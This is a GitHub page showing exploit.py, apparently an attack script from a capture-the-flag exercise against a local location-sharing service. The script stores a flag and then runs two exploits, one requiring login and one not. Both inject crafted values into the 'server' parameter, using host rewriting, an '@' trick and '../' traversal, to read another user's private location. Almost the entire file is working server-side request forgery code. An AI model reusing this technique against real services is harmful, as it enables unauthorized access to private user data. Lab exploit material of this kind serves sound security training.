This repository was archived by the owner on Dec 1, 2024. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathexploit.py
executable file
·74 lines (59 loc) · 1.83 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#!/usr/bin/env python3
import requests
import json
import random
import string
import re
from typing import Tuple
IP = "http://127.0.0.1:4241"
def register(uname, pw):
url = IP+'/register'
form_data = {'agent_alias': uname, 'password': pw}
r = requests.post(url, data=form_data)
if "Registered new agent" in r.text:
return True
else:
return False
def login(uname, pw) -> Tuple[bool, str, str]:
s = requests.Session()
url = IP+'/login'
form_data = {'agent_alias': uname, 'password': pw}
r = s.post(url, data=form_data)
if s.cookies.get('session') == None:
return (False, None, None)
uid = re.findall(r"id=\"agent-id\" title=\"([0-9a-f\-]{36})\"", r.text)
if len(uid) != 1:
return (False, None, None)
return (True, s, uid[0])
# ----- Store secret -----
SECRET = "FLAG_123"
uname = "".join(random.choices(string.ascii_letters, k=8))
pw = "".join(random.choices(string.ascii_letters, k=8))
print(f"uname: {uname}, pw: {pw}")
assert register(uname, pw) is True
(success, s, uid) = login(uname, pw)
assert success is True
url = IP+'/api/location/add'
json_data = {"tag": SECRET,
"lat": 2,
"lon": 3}
form_data = {'jsonData': json.dumps(json_data),
'server': "private_loc"}
r = s.post(url, data=form_data)
# EXPLOITS
UID = uid
print(f"uid: {UID}")
# ----- Exploit #1 login needed -----
register("exploit", "pw")
(_, s, _) = login("exploit", "pw")
url = IP + "/api/locations?server="
exploit = f"private_loc:4242/location/{UID}?comment="
url = url + exploit
r = s.get(url)
print("login exploit: " + r.text)
# ----- Exploit #2 no login needed -----
url = IP + "/api/locations?server="
exploit = f"private_loc:4242\@public_loc:4242/../../location/{UID}?comment="
url = url + exploit
r = requests.get(url)
print("no login exploit: " + r.text)